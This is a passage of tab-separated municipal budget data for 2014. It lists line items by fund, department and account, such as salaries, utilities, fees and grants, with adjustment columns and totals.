12286	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS		UNEMPLOYMENT	810.0	Salaries and Wages	2014	323.0	0	0	0	0	0	0.0	0	0	0	0	0.0	323.0
12287	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	522110.0	UTIL - LIGHT / POWER	810.0	 Supplies and Expenses	2014	43654.0	0	0	0	0	0	0.0	0	0	0	0	0.0	43654.0
12288	B1	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	402240.0	AIRPORT - EVENTS	650.0	Charges for Service	2014	-60000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-60000.0
12289	B1	IS	6	Clean Bchs & Ocean Prcl Tx Fd	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	570070.0	TRANSFER-STORMWATER	910.0	 Supplies and Expenses	2014	915434.0	0	0	0	0	0	0.0	0	0	0	0	0.0	915434.0
12290	B1	IS	20	Miscellaneous Grants Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	408430.0	METRO TOD-DOWNTOWN EIR	610.0	Intergovernmental	2014	0.0	0	0	-251691	0	0	0.0	0	0	0	0	0.0	-251691.0
12291	B1	IS	1	General Fund	130	FINANCE	222	FINANCIAL OPERATIONS	522620.0	RENT	804.0	 Supplies and Expenses	2014	166628.0	0	0	0	0	0	0.0	0	0	0	0	0.0	166628.0
12292	B1	IS	33	Airport Fund	500	PUBLIC WORKS	457	AIRPORT MAINTENANCE	555010.0	CONTRACTUAL SERVICES		 Supplies and Expenses	2014	49113.0	0	0	0	0	0	0.0	0	0	0	0	0.0	49113.0
12293	B1	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	404560.0	UTILITY POLE LEASE FEE	608.0	Licenses and Permits	2014	-3825.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-3825.0
12294	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522310.0	OFFICE SUPPLIES / EXPENSES	810.0	 Supplies and Expenses	2014	450.0	0	0	0	0	0	0.0	0	0	0	0	0.0	450.0
12295	B1	IS	25	Water Fund	500	PUBLIC WORKS	673	ARCADIA TREATMENT PLANT	522110.0	UTIL - LIGHT / POWER	808.0	 Supplies and Expenses	2014	792433.0	0	0	0	0	0	0.0	0	0	0	0	0.0	792433.0
12296	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	657	TRANSIT MAINTENANCE	511743.0	MEDICAL - MISC EMPL	840.0	Salaries and Wages	2014	80730.0	0	0	0	0	0	0.0	0	0	0	0	0.0	80730.0
12297	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	657	TRANSIT MAINTENANCE	544193.0	CLEANING SUPPLIES		 Supplies and Expenses	2014	88068.0	0	0	0	-50000	0	0.0	0	0	0	0	0.0	38068.0
12298	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	657	TRANSIT MAINTENANCE	555018.0	OUTSIDE REPAIRS/SERV-BUS STOP		 Supplies and Expenses	2014	308.0	0	0	0	150000	0	0.0	0	0	0	0	0.0	150308.0
12299	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	404150.0	LIBRARY COMPUTER SESSIONS FEE	612.0	Charges for Service	2014	-25000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-25000.0
12300	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	404750.0	415 PCH - RENTALS	618.0	Rentals	2014	-51325.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-51325.0
12301	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	511748.0	DENTAL	808.0	Salaries and Wages	2014	8334.0	0	0	0	0	0	375.0	0	0	0	0	0.0	8709.0
12302	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	511749.0	VISION	808.0	Salaries and Wages	2014	1094.0	0	0	0	0	0	54.0	0	0	0	0	0.0	1148.0
12303	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	511774.0	RETIREMENT - AS NEEDED	808.0	Salaries and Wages	2014	11133.0	0	0	0	0	0	0.0	0	0	0	0	0.0	11133.0
12304	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS		DISABILITY INSURANCE	804.0	Salaries and Wages	2014	5206.0	0	0	0	0	71	105.0	0	0	0	0	0.0	5382.0
12305	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	522320.0	METERED POSTAGE	810.0	 Supplies and Expenses	2014	1600.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1600.0
12306	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	522825.0	FOOD PURCHASES	810.0	 Supplies and Expenses	2014	1600.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1600.0
12307	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	544340.0	INDIRECT COST ALLOCATION	810.0	 Supplies and Expenses	2014	235325.0	0	0	0	0	0	0.0	0	0	0	0	0.0	235325.0
12308	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	555060.0	PROFESSIONAL SERVICES	810.0	 Supplies and Expenses	2014	72000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	72000.0
12309	B1	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE	511500.0	TEMPORARY EMPLOYEES	810.0	Salaries and Wages	2014	128618.0	0	0	0	0	0	-50641.25	0	0	0	0	0.0	77976.75
12310	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE ENFORCEMENT	522310.0	OFFICE SUPPLIES / EXPENSE	816.0	 Supplies and Expenses	2014	11625.0	0	0	0	0	0	0.0	0	0	0	0	0.0	11625.0
12311	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE ENFORCEMENT	522820.0	CONFERENCES/MEETINGS/TRAVEL	816.0	 Supplies and Expenses	2014	812.0	0	0	0	0	0	0.0	0	0	0	0	0.0	812.0
12312	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS		CAPITAL GRANTS-MISC PROJ-ARRA	657.0	Capital Grants	2014	-2486491.0	0	0	0	0	0	2286491.0	0	0	0	0	0.0	-200000.0
12313	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	405620.0	PRIVATE COACHING FEE	612.0	Charges for Service	2014	-1500.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-1500.0
12314	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	405680.0	EVENT ADMINISTRATION FEE	612.0	Charges for Service	2014	-15897.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-15897.0
12315	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	562190.0	 CLARE CLARITY FOR YOUTH		 Supplies and Expenses	2014	41651.0	0	0	0	0	0	0.0	0	0	0	0	0.0	41651.0
12316	B1	IS	20	Miscellaneous Grants Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	562431.0	SHP-NEW DIRECTIONS	810.0	 Supplies and Expenses	2014	44605.0	0	0	0	0	0	0.0	0	0	0	0	0.0	44605.0
12317	B1	IS	20	Miscellaneous Grants Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	562433.0	SHP-STEP UP	810.0	 Supplies and Expenses	2014	87765.0	0	0	0	0	0	0.0	0	0	0	0	0.0	87765.0
12318	B1	IS	31	Wastewater Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511773.0	RETIREMENT - MISC EMPL	840.0	Salaries and Wages	2014	0.0	0	0	0	0	0	0.0	0	0	0	0	33969.0	33969.0
12319	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	405352.0	PRIVATE HAULER PER TON PAYMENT	650.0	Charges for Service	2014	-121500.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-121500.0
12320	B1	IS	20	Miscellaneous Grants Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	406797.0	11 UASI GRANT	610.0	Intergovernmental	2014	0.0	0	0	0	0	0	0.0	0	0	0	0	-6364.43	-6364.43
12321	B1	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	511749.0	VISION		Salaries and Wages	2014	278.0	0	0	0	0	0	0.0	0	0	0	0	0.0	278.0
12322	B1	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	522320.0	METERED POSTAGE		 Supplies and Expenses	2014	615.0	0	0	0	0	0	0.0	0	0	0	0	0.0	615.0
12323	B1	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	533030.0	PROPERTY INSURANCE		 Supplies and Expenses	2014	220604.0	0	0	0	0	0	0.0	0	0	0	0	0.0	220604.0
12324	B1	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	544340.0	INDIRECT COST ALLOCATION		 Supplies and Expenses	2014	130070.0	0	0	0	0	0	0.0	0	0	0	0	0.0	130070.0
12325	B1	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	533030.0	PROPERTY INSURANCE		 Supplies and Expenses	2014	96927.0	0	0	0	0	0	0.0	0	0	0	0	0.0	96927.0
12326	B1	IS	1	General Fund	130	FINANCE	208	BUDGET DIVISION		EAP	804.0	Salaries and Wages	2014	509.0	0	0	0	0	0	0.0	0	0	0	0	0.0	509.0
12327	B1	IS	1	General Fund	130	FINANCE	208	BUDGET DIVISION	533580.0	COMPUTER EQUIP/SOFTWARE MAINT	804.0	 Supplies and Expenses	2014	5125.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5125.0
12328	B1	IS	1	General Fund	130	FINANCE	208	BUDGET DIVISION	544040.0	BOOKS / PAMPHLETS	804.0	 Supplies and Expenses	2014	513.0	0	0	0	0	0	0.0	0	0	0	0	0.0	513.0
12329	B1	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	408290.0	FIRE SAFETY OFFICER ASSIGN FEE	612.0	Charges for Service	2014	-420000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-420000.0
12330	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	248	COMMUNITY BROADBAND		EMPLOYEE HEALTH CONTRIBUTION	804.0	Salaries and Wages	2014	-1558.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-1558.0
12331	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	248	COMMUNITY BROADBAND	511773.0	RETIREMENT - MISC. EMPL	804.0	Salaries and Wages	2014	77137.0	0	0	0	0	1137	0.0	0	0	0	0	0.0	78274.0
12332	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	522950.0	CNG FUEL	808.0	 Supplies and Expenses	2014	31271.0	0	0	0	0	0	0.0	0	0	0	0	0.0	31271.0
12333	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	523000.0	VEHICLE MGMT FUND-MAINTENANCE	808.0	 Supplies and Expenses	2014	196000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	196000.0
12334	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	555951.0	FAC MAINT-KEC	808.0	 Supplies and Expenses	2014	27675.0	0	0	0	0	0	0.0	0	0	0	0	0.0	27675.0
12335	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	566100.0	STREET LIGHT / POLE REPAIR	808.0	 Supplies and Expenses	2014	11000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	11000.0
12336	B1	IS	30	Pier Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511840.0	PERS PAYDOWN SAVINGS	804.0	Salaries and Wages	2014	-2080.0	0	0	0	0	0	0.0	0	0	2080	0	0.0	0.0
12337	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511749.0	VISION	808.0	Salaries and Wages	2014	547.0	0	0	0	0	0	0.0	0	0	0	0	0.0	547.0
12338	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511000.0	PERMANENT EMPLOYEES	808.0	Salaries and Wages	2014	1048843.0	0	0	0	0	0	20437.03	0	0	0	0	0.0	1069280.03
12339	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511749.0	VISION	808.0	Salaries and Wages	2014	2161.0	0	0	0	0	0	54.17	0	0	0	0	0.0	2215.17
12340	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511743.0	MEDICAL - MISC. EMPL	808.0	Salaries and Wages	2014	142654.0	0	0	0	0	0	0.0	0	0	0	0	0.0	142654.0
12341	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511746.0	MED TRUST - MISC. EMPL	808.0	Salaries and Wages	2014	12167.0	0	0	0	0	0	0.0	0	0	0	0	0.0	12167.0
12342	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511773.0	RETIREMENT - MISC. EMPL	808.0	Salaries and Wages	2014	84506.0	0	0	0	0	0	0.0	0	0	0	0	0.0	84506.0
12343	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511749.0	VISION	808.0	Salaries and Wages	2014	417.0	0	0	0	0	0	0.0	0	0	0	0	0.0	417.0
12344	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2014	-1913.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-1913.0
12345	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511713.0	MEDICARE-MISC EMPLOYEES	808.0	Salaries and Wages	2014	5368.0	0	0	0	0	1207	0.0	0	0	0	0	0.0	6575.0
12346	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		DISABILITY INSURANCE	808.0	Salaries and Wages	2014	2789.0	0	0	0	0	658	0.0	0	0	0	0	0.0	3447.0
12347	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511490.0	OVERTIME	808.0	Salaries and Wages	2014	25250.0	0	0	0	0	0	0.0	0	0	0	0	0.0	25250.0
12348	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511920.0	UNIFORM / TOOL ALLOWANCE	808.0	Salaries and Wages	2014	24900.0	0	0	0	0	0	0.0	0	0	0	0	0.0	24900.0
12349	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		EAP	808.0	Salaries and Wages	2014	4833.0	0	0	0	0	0	41.67	0	0	0	0	0.0	4874.67
12350	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511746.0	MED TRUST - MISC. EMPL	808.0	Salaries and Wages	2014	72733.0	0	0	0	0	0	0.0	0	0	0	0	0.0	72733.0
12351	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2014	-29430.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-29430.0
12352	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511774.0	RETIREMENT - AS NEEDED	808.0	Salaries and Wages	2014	29902.0	0	0	0	0	0	0.0	0	0	0	0	0.0	29902.0
12353	B1	IS	58	Risk Management - Admin	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511773.0	RETIREMENT - MISC EMPL	810.0	Salaries and Wages	2014	0.0	0	0	0	0	0	0.0	0	0	0	0	24140.0	24140.0
12354	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	511749.0	VISION	808.0	Salaries and Wages	2014	139.0	0	0	0	0	0	0.0	0	0	0	0	0.0	139.0
12355	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING		UNEMPLOYMENT	808.0	Salaries and Wages	2014	324.0	0	0	0	0	0	0.0	0	0	0	0	0.0	324.0
12356	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	555130.0	TOXIC CHEMICAL	804.0	 Supplies and Expenses	2014	276000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	276000.0
12357	B1	IS	20	Miscellaneous Grants Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	556036.0	USED OIL PAY PROG OPP4	808.0	 Supplies and Expenses	2014	0.0	0	0	0	25692	0	0.0	0	0	0	0	0.0	25692.0
12358	B1	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	401090.0	INDIRECT COSTS	612.0	Charges for Service	2014	-11102190.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-11102190.0
12359	B1	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	400750.0	INT DEP / INVESTMENT	616.0	Investment Income	2014	-1806000.0	0	0	0	0	0	-969000.0	0	0	0	0	0.0	-2775000.0
12360	B1	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	405370.0	DISCOUNT ON PERS PREPAYMENT	622.0	Other	2014	0.0	0	0	0	0	0	-1529046.0	0	0	0	0	0.0	-1529046.0
12361	B1	IS	15	Low/Mod Incme Housing Asset Fd	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	404178.0	RESIDUAL RECEIPTS-HOUSING	622.0	Other	2014	-400000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-400000.0
12362	B1	IS	1	General Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	579961.0	BBB-GEN FUND REIMB-MISC	908.0	 Supplies and Expenses	2014	-446690.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-446690.0
12363	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	400290.0	PREF PARKING PERMITS	608.0	Licenses and Permits	2014	-1280000.0	0	0	0	0	0	232000.0	0	0	0	0	0.0	-1048000.0
12364	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	555990.0	PARKING AGREEMENT W / MACERICH	804.0	 Supplies and Expenses	2014	2028923.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2028923.0
12365	B1	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	555010.0	CONTRACTUAL SERVICES	808.0	 Supplies and Expenses	2014	379377.0	0	0	0	0	0	-144752.92	0	0	0	0	0.0	234624.08
12366	B1	IS	4	Special Revenue Source Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	408670.0	METRO WAYFINDING DESIGN WORK	622.0	Other	2014	-100000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-100000.0
12367	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	407691.0	TAXI FRANCHISE FEES	612.0	Charges for Service	2014	-355000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-355000.0
12368	B1	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	511017.0	PERMANENT EMPLOY SWORN POLICE	806.0	Salaries and Wages	2014	243360.0	0	0	0	0	0	0.0	0	0	0	0	0.0	243360.0
12369	B1	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	511748.0	DENTAL	804.0	Salaries and Wages	2014	3783.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3783.0
12370	B1	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT		DCAP	804.0	Salaries and Wages	2014	276.0	0	0	0	0	0	0.0	0	0	0	0	0.0	276.0
12371	B1	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	522320.0	METERED POSTAGE	804.0	 Supplies and Expenses	2014	325.0	0	0	0	0	0	0.0	0	0	0	0	0.0	325.0
12372	B1	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	522900.0	MEMBERSHIPS AND DUES	804.0	 Supplies and Expenses	2014	523.0	0	0	0	0	0	0.0	0	0	0	0	0.0	523.0
12373	B1	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	555218.0	COMMUNITY EMERGENCY RESP TEAM	804.0	 Supplies and Expenses	2014	23899.0	0	0	0	0	0	0.0	0	0	0	0	0.0	23899.0
12374	B1	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	511490.0	OVERTIME	804.0	Salaries and Wages	2014	615402.0	0	0	0	-168637	0	0.0	0	0	0	0	0.0	446765.0
12375	B1	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	511748.0	DENTAL	804.0	Salaries and Wages	2014	29048.0	0	0	0	-13174	0	0.0	0	0	0	0	0.0	15874.0
12376	B1	IS	20	Miscellaneous Grants Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	563123.0	WISE SENIOR & DISAB SVCS (PALR	808.0	 Supplies and Expenses	2014	192711.0	0	0	0	0	0	0.0	0	0	0	0	0.0	192711.0
12377	B1	IS	12	Housing Authority Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	579330.0	TRANSFER IN FROM GENERAL FUND		 Supplies and Expenses	2014	-446791.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-446791.0
12378	B1	IS	20	Miscellaneous Grants Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	561115.0	OPCC SAFE HAVEN-PROP A	808.0	 Supplies and Expenses	2014	1000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1000.0
12379	B1	IS	20	Miscellaneous Grants Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	561119.0	OPCC SOJOURN - PROP A	808.0	 Supplies and Expenses	2014	600.0	0	0	0	0	0	0.0	0	0	0	0	0.0	600.0
12380	B1	IS	20	Miscellaneous Grants Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS		ST JOSEPH CENTER FSS - PROP A	808.0	 Supplies and Expenses	2014	7081.0	0	0	0	0	0	0.0	0	0	0	0	0.0	7081.0
12381	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	511500.0	TEMPORARY EMPLOYEES	810.0	Salaries and Wages	2014	29986.0	0	0	0	0	0	0.0	0	0	0	0	0.0	29986.0
12382	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	511749.0	VISION	810.0	Salaries and Wages	2014	130.0	0	0	0	0	0	0.0	0	0	0	0	0.0	130.0
12383	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS		DCAP	810.0	Salaries and Wages	2014	60.0	0	0	0	0	0	0.0	0	0	0	0	0.0	60.0
12384	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS		DISABILITY INSURANCE	810.0	Salaries and Wages	2014	606.0	0	0	0	0	0	0.0	0	0	0	0	0.0	606.0
12385	B1	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	511749.0	VISION	808.0	Salaries and Wages	2014	1650.0	0	0	0	0	0	541.67	0	0	0	0	0.0	2191.67
12386	B1	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE		LIFE INSURANCE & AD & D	808.0	Salaries and Wages	2014	1897.0	0	0	0	0	0	791.67	0	0	0	0	0.0	2688.67
12387	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511713.0	MEDICARE-MISC EMPLOYEES	808.0	Salaries and Wages	2014	9556.0	0	0	0	0	0	0.0	0	0	0	0	0.0	9556.0
12388	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511900.0	VACANCY SAVINGS	808.0	Salaries and Wages	2014	-140425.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-140425.0
12389	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE		DISABILITY INSURANCE	808.0	Salaries and Wages	2014	5042.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5042.0
12390	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	522210.0	UTILITIES - TELEPHONE	808.0	 Supplies and Expenses	2014	31326.0	0	0	0	0	0	0.0	0	0	0	0	0.0	31326.0
12391	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	533020.0	GENERAL LIABILITY / AUTO	808.0	 Supplies and Expenses	2014	261952.0	0	0	0	0	0	0.0	0	0	0	0	0.0	261952.0
12392	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511743.0	MEDICAL - MISC. EMPL	808.0	Salaries and Wages	2014	617697.0	0	0	0	0	0	0.0	0	0	0	0	0.0	617697.0
12393	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511920.0	UNIFORM / TOOL ALLOWANCE	808.0	Salaries and Wages	2014	8916.0	0	0	0	0	0	0.0	0	0	0	0	0.0	8916.0
12394	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE		LIFE INSURANCE & AD & D	808.0	Salaries and Wages	2014	6770.0	0	0	0	0	0	0.0	0	0	0	0	0.0	6770.0
12395	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	522910.0	VEHICLES - FUELS / LUBRICATION	808.0	 Supplies and Expenses	2014	26033.0	0	0	0	0	0	0.0	0	0	0	0	0.0	26033.0
12396	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	522950.0	CNG FUEL	808.0	 Supplies and Expenses	2014	21246.0	0	0	0	0	0	0.0	0	0	0	0	0.0	21246.0
12397	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511743.0	MEDICAL - MISC. EMPL	808.0	Salaries and Wages	2014	52783.0	0	0	0	0	0	4167.0	0	0	0	0	0.0	56950.0
12398	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		UNEMPLOYMENT	808.0	Salaries and Wages	2014	1812.0	0	0	0	0	416	0.0	0	0	0	0	0.0	2228.0
12399	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		DCAP	808.0	Salaries and Wages	2014	288.0	0	0	0	0	0	0.0	0	0	0	0	0.0	288.0
12400	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511743.0	MEDICAL - MISC. EMPL	808.0	Salaries and Wages	2014	648607.0	0	0	0	0	0	0.0	0	0	0	0	0.0	648607.0
12401	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		LIFE INSURANCE & AD & D	808.0	Salaries and Wages	2014	6585.0	0	0	0	0	0	0.0	0	0	0	0	0.0	6585.0
12402	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	407201.0	ROSIE'S GIRLS DONATIONS	622.0	Other	2014	-1200.0	0	0	0	0	0	0.0	1200	0	0	0	0.0	0.0
12403	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	555870.0	GROCERY & SUNDRY ITEMS	810.0	 Supplies and Expenses	2014	1577.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1577.0
12404	B1	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE	533010.0	PERSONAL PROTECTIVE EQUIPMENT	806.0	 Supplies and Expenses	2014	94095.0	0	0	0	0	0	0.0	0	0	0	0	0.0	94095.0
12405	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	544170.0	UNIFORM / PROTECTIVE CLOTHING	808.0	 Supplies and Expenses	2014	350.0	0	0	0	0	0	0.0	0	0	0	0	0.0	350.0
12406	B1	IS	20	Miscellaneous Grants Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	408390.0	REAL BEACH PKG FED GRANT	610.0	Intergovernmental	2014	0.0	0	0	-530898	0	0	0.0	0	0	0	0	0.0	-530898.0
12407	B1	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	401400.0	UTILITY EXCAVATION FEES	612.0	Charges for Service	2014	-89594.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-89594.0
